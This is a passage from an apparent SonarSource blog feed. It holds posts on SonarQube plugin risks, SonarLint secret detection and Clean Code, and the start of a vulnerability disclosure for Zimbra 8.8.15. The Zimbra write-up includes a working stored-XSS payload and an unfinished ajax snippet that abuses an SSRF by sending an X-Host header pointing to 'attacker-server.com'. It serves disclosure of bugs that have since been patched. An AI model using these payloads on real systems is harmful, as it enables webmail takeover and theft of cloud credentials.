and notification when updates are available. Each plugin listing includes a link to its homepage, so you should be able to find the binaries easily. But you have to manually download and install the plugins you&amp;#x27;re interested in.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;That&amp;#x27;s because installing non-SonarSource functionality is inherently risky &lt;/strong&gt;and we want to make sure you are aware of it when you take that risk&lt;strong&gt;.&lt;/strong&gt; Again, maintainers of Marketplace plugins are good folks providing a valuable service to the community at large for little thanks and less gain. But even the best-intentioned maintainers can make mistakes or overlook changes in the base. At SonarSource we get paid to make sure everything in SonarQube works properly. And we still mess up sometimes. Because we&amp;#x27;re human. Plugin maintainers are human too.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At SonarSource, we stand behind and support the functionality we provide in SonarQube. We can&amp;#x27;t do that for 3rd-party plugins. Which is why we&amp;#x27;ve deliberately added a small barrier to installing them. If you&amp;#x27;re running a commercial edition, that implies a certain criticality of the service and a business reliance on SonarQube&amp;#x27;s dependability and security. So we feel a responsibility to make you very aware of it when you do something that could potentially jeopardize that reliability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This isn&amp;#x27;t quite a case of &amp;quot;warranty void if seal broken&amp;quot; but if you have problems, one of the first things we&amp;#x27;ll do is ask you to remove all plugins (Marketplace or not). You&amp;#x27;d be amazed at how many times that fixes a &amp;quot;broken&amp;quot; SonarQube instance.&lt;/p&gt;&lt;h2&gt;Non-marketplace plugins&lt;/h2&gt;&lt;p&gt;For plugins distributed outside the Marketplace, all bets are off, and we have seen cases where seemingly innocuous non-Marketplace plugins broke built-in functionality. So you should be more cautious with non-Marketplace plugins, and  especially cautious when plugin installation requires anything outside &lt;a href=&quot;https://docs.sonarqube.org/latest/setup-and-upgrade/install-a-plugin/&quot;&gt;the normal installation steps&lt;/a&gt;, i.e.: drop the plugin in the right directory, remove any old versions, and restart your server. Plugins already have access to a powerful, full-featured API, so anything that requires extra installation steps (generally to grab even more access) is suspect by default.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We made changes in the 8.9 LTS to limit plugins&amp;#x27; ability to commandeer access to functionality they shouldn&amp;#x27;t have. But&lt;strong&gt; if you choose to sidestep the guardrails by following unusual installation instructions then you should be very aware that you may be giving more access to your system resources than you intended.&lt;/strong&gt; The community branch plugin is an example of this. Its installation instructions have you change how the SonarQube JVM is configured. You end up overriding all the limitations SonarQube has placed on plugins to give the plugin access to &lt;em&gt;everything&lt;/em&gt; SonarQube has access to.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another thing to be aware of (beware of?) is plugins that elevate user privileges, such as BiteGarden&amp;#x27;s Universal Plugin Manager. In essence, it gives file system access to users who didn&amp;#x27;t have it before the plugin manager was installed.&lt;/p&gt;&lt;h2&gt;Wrapping it up&lt;/h2&gt;&lt;p&gt;So to sum up: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Plugins are a valuable part of the SonarQube ecosystem. Plugin maintainers are good folks who are motivated to extend SonarQube&amp;#x27;s functionality for themselves and their peers. They perform a valuable, but thankless service for the community. &lt;/li&gt;&lt;li&gt;SonarQube exposes a powerful API that gives plugins broad access to its internals. Thus there is an inherent risk in installing a plugin.&lt;/li&gt;&lt;li&gt;Plugins that are in the Marketplace have undergone minimal acceptability testing before being added to the Marketplace, but they aren&amp;#x27;t monitored on an ongoing basis. &lt;/li&gt;&lt;li&gt;All bets are off for plugins outside the Marketplace and especially so for plugins with unusual installation steps. They can considerably increase the risk to your delivery pipeline.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you&amp;#x27;re currently using plugins in your SonarQube instance, now might be a good time to run an audit and make sure you still &lt;em&gt;really&lt;/em&gt; need each one. As BiteGarden itself put it:&lt;/p&gt;&lt;blockquote&gt;Plugins are very powerful, they can change the behaviour of almost any part of your SonarQube™ platform. For this reason, it is very important to check the safety of the plugins and always be aware of who is the author.&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;We couldn&amp;#x27;t have said it better.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Launching ‘Secret Detection’ to keep your Cloud ‘Secrets’ safe]]></title><description><![CDATA[Learn how developers can safeguard their cloud 'secrets' from publicly leaking and take charge of their Code Security with SonarLint.]]></description><link>https://www.sonarsource.com/blog/sonarlint-cloud-secret-detection</link><guid isPermaLink="false">f97e82f8-91b0-586a-9c05-dd3e340846ab</guid><dc:creator><![CDATA[Kirti Joshi]]></dc:creator><pubDate>Tue, 03 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Most digital applications we work on require some type of credentials –– to connect to a database with a username/password, to access computer programs via authorized tokens, or API keys to invoke services for authentication. Credentials a.k.a ‘Secrets’ are pieces of user or system level confidential information that should be carefully protected and accessible to legitimate users only. And we all recognize that safeguarding these assets is of prime importance to prevent account misuse and potential breaches. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Reality check: How often do you proactively take action to keep these assets safe? Rarely, I&amp;#x27;ll bet. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With the mission to enable developers to take charge of their own Code Security, we are excited to announce a new feature in SonarLint that helps developers identify and prevent leaks of AWS user or system-level authentication credentials &lt;strong&gt;&lt;em&gt;before&lt;/em&gt;&lt;/strong&gt; they are committed to a repository and leaked from user’s local source code or files.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you aren’t familiar, &lt;a href=&quot;https://www.sonarlint.org/&quot;&gt;SonarLint&lt;/a&gt; is a free and open source IDE extension that allows developers to instantly detect and fix Code Quality and Code Security issues as they write code.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sounds interesting? Then read on to learn more.&lt;/p&gt;&lt;h2&gt;First – why you should care&lt;/h2&gt;&lt;p&gt;Before we dive into the details of this new SonarLint feature, let’s back up a little and take a look at why you should even care.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You may have come across a scenario somewhere in your everyday life where you used a credit card for a larger online transaction, and immediately got contacted by the credit card company to check if you truly intended to make the transaction. If you did, no problem, all’s well. If not, a fraudulent activity was just caught &lt;strong&gt;&lt;em&gt;before &lt;/em&gt;&lt;/strong&gt;the transaction was complete – saving you and your credit card company the complexity of an after-the-fact compromised account.    &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The same applies to code development. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As part of your code development and delivery, there could be a recurrent connection to a cloud-based database or access to a third-party API using credentials. Possibly you temporarily hard-coded credentials for ease of use or a colleague added confidential information for a quick local test and then accidentally committed those files to a public repo.  And...those temporary changes just became permanent….Yikes! Even with after-the-fact deletion of the code, there is still the chance that someone made a copy of your secret before the cleanup.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The next thing you know, the account is compromised or worse yet, this small security lapse gave someone the surface to perform a larger infrastructure breach. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Such breaches are more common and potentially catastrophic than you may realize. &lt;a href=&quot;https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/&quot;&gt;StackOverflow&lt;/a&gt;, &lt;a href=&quot;https://awsinsider.net/articles/2017/11/21/uber-aws-data-breach.aspx&quot;&gt;Uber&lt;/a&gt; and more recently &lt;a href=&quot;https://latesthackingnews.com/2021/07/30/critical-shopify-vulnerability-exposed-github-access-token-and-shopify-repos/&quot;&gt;Shopify&lt;/a&gt; are examples of high-profile security incidents where secrets sprinkled in publicly visible files created havoc. Think of the brand reputation mayhem it could have created. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Human error happens and will continue to do so, but with the right checks at the right time, the error can be prevented in the first place. In the previous case, if the exposure of ‘secrets’ had been flagged at the point of introduction, i.e. real-time during coding or when you are about to commit your code, it might have saved a whole lot of trouble. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By now you may have realized that the best place to detect and address these issues in your development workflow is at the very beginning of it i.e. in your IDE.&lt;/p&gt;&lt;h2&gt;Advanced rules that detect AWS secrets in-IDE&lt;/h2&gt;&lt;p&gt;SonarLint now includes new rules to protect AWS authentication credentials and Amazon Marketplace Web Service (MWS) credentials from leaking publicly. Specifically, we’ve added two new rules to &lt;a href=&quot;https://rules.sonarsource.com/secrets/RSPEC-6292&quot;&gt;&lt;strong&gt;Safeguard MWS auth tokens&lt;/strong&gt;&lt;/a&gt; and to &lt;strong&gt;&lt;a href=&quot;https://rules.sonarsource.com/secrets/RSPEC-6290&quot;&gt;Safeguard AWS Access Key, Key ID, and Session tokens&lt;/a&gt;. &lt;/strong&gt;In addition, SonarLint also now delivers 5 rules covering &lt;strong&gt;&lt;a href=&quot;https://rules.sonarsource.com/secrets/RSPEC-6336&quot;&gt;Alibaba Cloud AccessKeys&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/secrets/RSPEC-6337&quot;&gt;IBM API keys&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/secrets/RSPEC-6335&quot;&gt;Google Cloud service account keys&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/secrets/RSPEC-6334&quot;&gt;Google API keys&lt;/a&gt;, &lt;/strong&gt;and&lt;strong&gt; &lt;a href=&quot;https://rules.sonarsource.com/secrets/RSPEC-6338&quot;&gt;Azure Storage Account Keys&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarLint acts as your first line of defence to detect and avoid any public leak of credentials. By flagging issues at the point of introduction (i.e. shifting issue detection further left), you can take immediate action and prevent the leak in the first place.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That’s important because compromised accounts not only have individual or resource-level ramifications such as potential account hacks but can also be detrimental to the confidentiality of your customers. For example, compromised MWS tokens can be used to get illicit access to databases that contain customer information such as credit card numbers, email, shipping addresses, and merchant sales records.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With SonarLint installed in your IDE, these ‘Secret’ detection rules will enable you to catch the presence of such credentials&lt;strong&gt; at the first point of entry &lt;/strong&gt;i.e. in the source code or in language-agnostic files (e.g. xml, yaml, json) &lt;strong&gt;&lt;em&gt;before&lt;/em&gt;&lt;/strong&gt; they are committed to the repo. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4fd9d8d7-3821-4456-8e0d-aec0f739533a/body-bb9a9dfd-c68c-4f7d-b9b0-71a324371e46_SL_secrets_screenshot-min.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not only does SonarLint flag these issues, it is also able to provide clear in-context guidance to address them. You then have full flexibility to take action and address the code being flagged; bringing you one step closer to delivering secure code.&lt;/p&gt;&lt;h3&gt;Getting started in your IDE&lt;/h3&gt;&lt;p&gt;This feature is currently available in SonarLint for &lt;strong&gt;Visual Studio&lt;/strong&gt;, &lt;strong&gt;VS Code, Eclipse, IntelliJ IDEA, PyCharm, CLion, WebStorm, PHPStorm, &lt;/strong&gt;and&lt;strong&gt; Rider&lt;/strong&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To start securing your code base you can download &lt;a href=&quot;https://www.sonarlint.org/&quot;&gt;SonarLint for your IDE&lt;/a&gt;. Existing SonarLint users can simply update the plugin to the latest version to get access to this new feature.&lt;/p&gt;&lt;h2&gt;The beginning of a new gateway for secrets detection&lt;/h2&gt;&lt;p&gt;As the next step, we plan to extend the ‘Secrets’ detection functionality in SonarLint to other public cloud providers. Later on, you can expect SonarLint to support more cloud providers, SaaS products, and database providers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Stay tuned to learn when these features are planned for SonarLint in the &lt;a href=&quot;https://portal.productboard.com/sonarsource/4-sonarlint/tabs/9-coming-soon&quot;&gt;SonarLint Product Roadmap&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you use SonarQube or SonarCloud, this is a great opportunity to extend your code security experience to your IDE. By installing SonarLint for free, not only can you immediately benefit from powerful features such as secret detection but also improve the overall code quality and security of your code base by sharing rules and analysis settings from SonarQube or SonarCloud to SonarLint to coalesce your entire team on a single definition of code health.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;See the benefits of Sonar&amp;#x27;s &lt;a href=&quot;https://www.sonarsource.com/solutions/secrets-detection/&quot;&gt;Secret Detection Solution&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We hope you benefit from this new SonarLint feature. To leave your thoughts, &lt;a href=&quot;https://community.sonarsource.com/tag/sonarlint&quot;&gt;join us in the community&lt;/a&gt;! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Editor&amp;#x27;s Note: This post was originally published in August 2021 and has been updated and refreshed to reflect new SonarLint capabilities.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How Clean Code Practices Help You Retain Your Development Talent]]></title><description><![CDATA[It can be challenging to maintain good coding vibes when your team or company often prioritizes feature delivery over code quality. If your developers are never allowed the time to work on new and exciting things they may eventually find somewhere else to bring their coding talents to.]]></description><link>https://www.sonarsource.com/blog/how-clean-code-practices-help-retain-development-talent</link><guid isPermaLink="false">6f28e95a-baf4-580e-8885-d9950cba0bec</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Wed, 28 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In every career path there are elements of the job that are exciting and elements that are just part of doing business - the tasks that must be completed to get to the good stuff. Developers know that fixing coding issues is just “part of doing business,” but oftentimes this isn’t simply a quick task to get past. Instead of solving interesting problems, there may be times when a dev’s entire day is spent slogging through a coding issue. In fact, &lt;a href=&quot;https://content.rollbar.com/hubfs/State-of-Software-Code-Report.pdf&quot;&gt;44%&lt;/a&gt; of developers say their biggest pain point is fixing software bugs and errors. In any job, if you’re never allowed to get to the things that attracted you in the first place, it can easily turn into a grind over time. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://content.rollbar.com/hubfs/State-of-Software-Code-Report.pdf&quot;&gt;More than a third&lt;/a&gt; of devs say that if they didn’t have to spend so much time fixing code, in their personal lives they would spend more time with their family, exercise more, and maybe even get a full night’s sleep! Professionally, &lt;a href=&quot;https://content.rollbar.com/hubfs/State-of-Software-Code-Report.pdf&quot;&gt;52%&lt;/a&gt; of devs said they would use the time to build new features and functionality and 42% said that they would simply be able to “do their job.” Baffling, isn’t it? When the focus is always on addressing issues and manually digging out of &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt;, your development team is left with little time at all to do the things they want, professionally and personally. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It can be challenging to maintain good coding vibes when your team or company often prioritizes feature delivery over code quality. If your developers are never allowed the time to work on new and exciting things they may eventually find somewhere else to bring their coding talents to.&lt;/p&gt;&lt;h2&gt;Keep your team happy with Clean Code&lt;/h2&gt;&lt;p&gt;By putting the power of &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code practices&lt;/a&gt; in the palm of your developers&amp;#x27; hands, you can help ensure that they are working on the projects that excite them rather than the issues that stifle them. When you choose to &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean As You Code,&lt;/a&gt; you set the expectation that, moving forward, new code that is added or changed does not introduce new issues. That’s it. No digging into debt or chasing legacy issues down for days. Over time, old code is touched to make new edits which allows the overall quality to improve without looking backwards.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When quality code is written and issues are remediated from the start, time and effort is saved. This makes a dev’s job easier and more interesting. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With Clean Code, your developers can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Own the quality of their code delivery&lt;/strong&gt;: Developers can focus on the quality of the code they touch rather than spending hours cleaning up someone else&amp;#x27;s work. They can take pride in what they deliver and achieve exceptional results, knowing that the code they contribute will help create the best possible product.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Innovate with intention&lt;/strong&gt;: When code is clean from the start, developers can spend more time pursuing and executing on interesting new challenges that create the products and features customers want, which ultimately supports the success of the business.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Deliver timely, high quality releases&lt;/strong&gt;: Code that’s always clean leaves room for your team to create consistency and dependability in your release cycles. When code is the best quality that it can be, releases become easier to manage and communicate on, which sets expectations and creates results.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Enjoy being part of the team:&lt;/strong&gt; When the team provides excellent delivery, a more trusting and positive work environment can flourish. Without the delays and frustration that issues can cause, the team can feel empowered to bring new ideas to the table and be a part of the strategic direction of new projects.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Build career expertise&lt;/strong&gt;: Clean Code practices arm you with the tools you need to quickly solve issues as you write code. You can more easily understand mistakes, uncover best practices, and make better coding decisions while you work, instead of trying to address it later, increasing your knowledge as a developer.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While some things may just be “part of the job,” why make it harder than it needs to be? Giving your team the tools they need to make their job easier and more interesting should be a no brainer for helping keep them happy. Clean Code practices are easy to adopt and readily integrate into your development workflow from IDE to release with the Sonar solution. Learn more about the impact Clean Code can have on your development teams &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Zimbra 8.8.15 - Webmail Compromise via Email]]></title><description><![CDATA[We discovered critical code issues in Zimbra, a popular enterprise webmail solution, that could lead to a compromise of all emails by an unauthenticated attacker.]]></description><link>https://www.sonarsource.com/blog/zimbra-webmail-compromise-via-email</link><guid isPermaLink="false">e0f6f3e4-dada-5221-835f-e3076b22407a</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 27 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Zimbra is a popular webmail solution for global enterprises. According to Zimbra, it is used by over 200,000 businesses and over a thousand government &amp;amp; financial institutions to exchange emails between millions of users every day. When attackers get access to an employee&amp;#x27;s email account, it often has drastic security implications. Besides the confidential information and documents that are exchanged, an email account is often linked to other sensitive accounts that allow a password reset. Think about it, what could an attacker do with your inbox?&lt;/p&gt;&lt;p&gt;In this blog post, we describe two vulnerabilities we discovered in the open-source Zimbra code. A combination of these vulnerabilities could enable an unauthenticated attacker to compromise a targeted organization&amp;#x27;s Zimbra webmail server. As a result, an attacker would gain unrestricted access to &lt;strong&gt;all&lt;/strong&gt; sent and received emails of &lt;strong&gt;all &lt;/strong&gt;employees.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/_QvlxrDKCcA&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The first vulnerability is a &lt;em&gt;Cross-Site Scripting&lt;/em&gt; bug (CVE-2021-35208) that can be triggered in a victim’s browser when viewing an incoming email. The malicious email would contain a crafted JavaScript payload that, when executed, would provide an attacker with access to all emails of the victim, as well as to their webmail session. With this, other features of Zimbra could be accessed and further attacks could be launched.&lt;/p&gt;&lt;p&gt;The second vulnerability is an interesting bypass of an allow-list that leads to a powerful &lt;em&gt;Server-Side Request Forgery&lt;/em&gt; vulnerability (CVE-2021-35209). It can be exploited by an authenticated member of an organization with any permission role, which means that it can be combined with the first vulnerability. A remote attacker is then able to extract, for example, Google Cloud API Tokens or AWS IAM credentials from instances within the cloud infrastructure.&lt;/p&gt;&lt;p&gt;In 2019, assets of &lt;a href=&quot;https://www.nytimes.com/2019/07/29/business/capital-one-data-breach-hacked.html&quot;&gt;Capital One were breached&lt;/a&gt; utilizing a similar SSRF vulnerability. Capital One was required to &lt;a href=&quot;https://www.nytimes.com/2020/08/06/business/capital-one-hack-settlement.html&quot;&gt;pay $80 million&lt;/a&gt; as a penalty. SSRF vulnerabilities have become an increasingly dangerous bug class, especially for cloud-native applications. We have no information whether Zimbra Cloud, a SaaS solution using AWS, was affected by this vulnerability.&lt;/p&gt;&lt;p&gt;All issues were fixed by the Zimbra team with Patch &lt;strong&gt;18&lt;/strong&gt; for the 8.8.15 series and Patch &lt;strong&gt;16&lt;/strong&gt; for the 9.0 series. Prior versions of both branches are vulnerable.&lt;/p&gt;&lt;h2&gt;Technical details&lt;/h2&gt;&lt;p&gt;In the following sections I go into the technical detail of the code vulnerabilities. We first dive into the DOM-based Stored Cross-Site-Scripting (XSS) bug and then examine the Server-Side Request Forgery (SSRF) vulnerability.&lt;/p&gt;&lt;h3&gt;DOM-based Stored XSS in Email Body&lt;/h3&gt;&lt;p&gt;Zimbra’s architecture is divided into a backend that handles incoming mail traffic and provides the HTTP backend for the webmail solution. The frontend of Zimbra is used to view emails and 3 different clients are available:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A desktop client that heavily relies on Ajax, which is the default client&lt;/li&gt;&lt;li&gt;A static HTML client&lt;/li&gt;&lt;li&gt;A mobile-optimized client&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To ensure that all three different clients receive the same security guarantees, the design decision was made to sanitize the HTML content of incoming emails on the server-side. This step is done thoroughly and correctly by utilizing the &lt;a href=&quot;https://github.com/OWASP/java-html-sanitizer&quot;&gt;OWASP Java-HTML-Sanitizer&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;The downside of using server-side sanitization is that all three clients may transform the trusted HTML of an email afterward to display it in their unique way. Transformation of already sanitized HTML inputs can lead to corruption of the HTML and then to XSS attacks, as demonstrated in &lt;a href=&quot;https://blog.sonarsource.com/wordpress-csrf-to-rce&quot;&gt;our previous work&lt;/a&gt; on, for example, WordPress.&lt;/p&gt;&lt;p&gt;In Zimbra, the default Ajax client uses a regular expression to perform replacements within &lt;code&gt;form&lt;/code&gt; HTML tags. This replacement occurs when a &lt;code&gt;form&lt;/code&gt; tag does not contain an &lt;code&gt;action&lt;/code&gt; attribute, as the lack of this attribute per default leads to a request on the same page. The regex then inserts a secure &lt;code&gt;action&lt;/code&gt; attribute with a default value instead: &lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/Zimbra/zm-web-client/blob/develop/WebRoot/js/zimbraMail/mail/view/ZmMailMsgView.js#L990&quot;&gt;&lt;strong&gt;WebRoot/js/zimbraMail/mail/view/ZmMailMsgView.js&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (html.search(/(&lt;form)(?![^&gt;]+action)(.*?&gt;)/g)) {
    html = html.replace(/(&lt;form)(?![^&gt;]+action)(.*?&gt;)/ig, function(form) {
        if (form.match(/target/g)) {
            form = form.replace(/(&lt;.*)(target=.*)(.*&gt;)/g, &apos;$1action=&quot;SAMEHOSTFORMPOST-BLOCKED&quot; target=&quot;_blank&quot;$3&apos;);
        }   
        else {
            form = form.replace(/(&lt;form)(?![^&gt;]+action)(.*?&gt;)/g, &apos;$1 action=&quot;SAMEHOSTFORMPOST-BLOCKED&quot; target=&quot;_blank&quot;$2&apos;);
        }   
    return form;
    });
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Such replacements are dangerous because an attacker can craft a payload containing valid HTML such as:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;hr align=&quot;&lt;form &gt; x&quot; noshade=&quot;&lt;script&gt;alert(document.domain);//&quot; /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Although the &lt;code&gt;hr&lt;/code&gt; tag has attributes that contain other tags, this is fine as the &lt;code&gt;form&lt;/code&gt; and &lt;code&gt;script&lt;/code&gt; tag are encapsulated within double quotes and thus interpreted as attribute values.&lt;/p&gt;&lt;p&gt;However, the regex described above matches on the &lt;code&gt;form&lt;/code&gt; tag within the &lt;code&gt;align&lt;/code&gt;attribute. Thus, it performs the replacement, resulting in the following markup:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;hr align=&quot;&lt;form action=&quot;SAMEHOSTFORMPOST-BLOCKED&quot; target=&quot;_blank&quot; &gt; x&quot; noshade=&quot;&lt;script&gt;alert(document.domain);alert(document.cookie);//&quot;&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As you can see, the HTML is now corrupt as multiple attributes have been inserted into the previously harmless &lt;code&gt;hr&lt;/code&gt; tag. On Google Chrome, the &lt;code&gt;script&lt;/code&gt; tag is now no longer interpreted as an attribute value but as an HTML tag itself, thus enabling an attacker to execute arbitrary JavaScript code in the browser of a client viewing an email. &lt;/p&gt;&lt;h3&gt;SSRF via Host Header&lt;/h3&gt;&lt;p&gt;Zimbra webmail supports various integrations, Webex being one of them. To utilize the Webex integration in the frontend, some Ajax requests are required to fetch information from Webex. However, the Same-Origin-Policy prevents this from working.&lt;/p&gt;&lt;p&gt;As a workaround, Zimbra deploys a &lt;a href=&quot;https://wiki.zimbra.com/wiki/Zimlet_Developers_Guide:Proxy_Servlet_Setup&quot;&gt;Servlet&lt;/a&gt; that acts as a Proxy that fetches the contents of the desired page from a Webex URL. To maximize flexibility in the outgoing requests, the Proxy forwards, except for a few disallowed headers, all HTTP request headers, and parameters to any URL that matches the &lt;em&gt;*.webex.com&lt;/em&gt; pattern.&lt;/p&gt;&lt;p&gt;The following image from Zimbra’s documentation illustrates this process:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/17a65f64-44b9-4ac4-a8fa-7bd686f1a788/body-35a964a9-9fa3-43d0-bb86-b2cf263657aa_proxy_servlet.png&quot; /&gt;&lt;p&gt;This design is less than ideal, as any open redirect on any Webex domain automatically leads to SSRF since HTTP redirects are followed. Still, this would imply a security issue in Webex’s infrastructure and not in Zimbra. However, when auditing the code of the Servlet the following snippet was particularly interesting:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/Zimbra/zm-mailbox/commit/5a98c4a7e4de1bbc985575e5de19ea3d8b9912adhttps://&quot;&gt;&lt;strong&gt;store/src/java/com/zimbra/cs/zimlet/ProxyServlet.java&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Enumeration headers = req.getHeaderNames();
while (headers.hasMoreElements()) {
    String hdr = (String) headers.nextElement();
    ZimbraLog.zimlet.debug(&quot;incoming: &quot; + hdr + &quot;: &quot; + req.getHeader(hdr));
    if (canProxyHeader(hdr)) {
        ZimbraLog.zimlet.debug(&quot;outgoing: &quot; + hdr + &quot;: &quot; + req.getHeader(hdr));
        if (hdr.equalsIgnoreCase(&quot;x-host&quot;))
            method.setHeader(&quot;Host&quot;, req.getHeader(hdr));
        else
            method.addHeader(hdr, req.getHeader(hdr));
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As can be seen at the end of this code, if the &lt;code&gt;X-Host&lt;/code&gt; header is set, the value of the &lt;code&gt;Host&lt;/code&gt; header of the outgoing request is set to its value. This value can be controlled by an attacker without any restrictions.&lt;/p&gt;&lt;p&gt;This is problematic since various services and applications use the &lt;code&gt;Host&lt;/code&gt; header to generate redirects. An example of this would be a web server that listens on port &lt;em&gt;80&lt;/em&gt; for incoming HTTP traffic and then uses the &lt;code&gt;Host&lt;/code&gt; header to create a redirect to HTTPS traffic. This means a malicious user can force an open redirection. That would usually be impossible to exploit or harmless, but in this case, it leads to SSRF.&lt;/p&gt;&lt;p&gt;An attacker could utilize the XSS vulnerability described to execute the following code in a victim’s browser to forge such a request:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$.ajax({
    url: &apos;service/proxy?target=http://some.service.webex.com&apos;,
    headers: { &apos;X-Host&apos;: &apos;attacker-server.com&apos; }
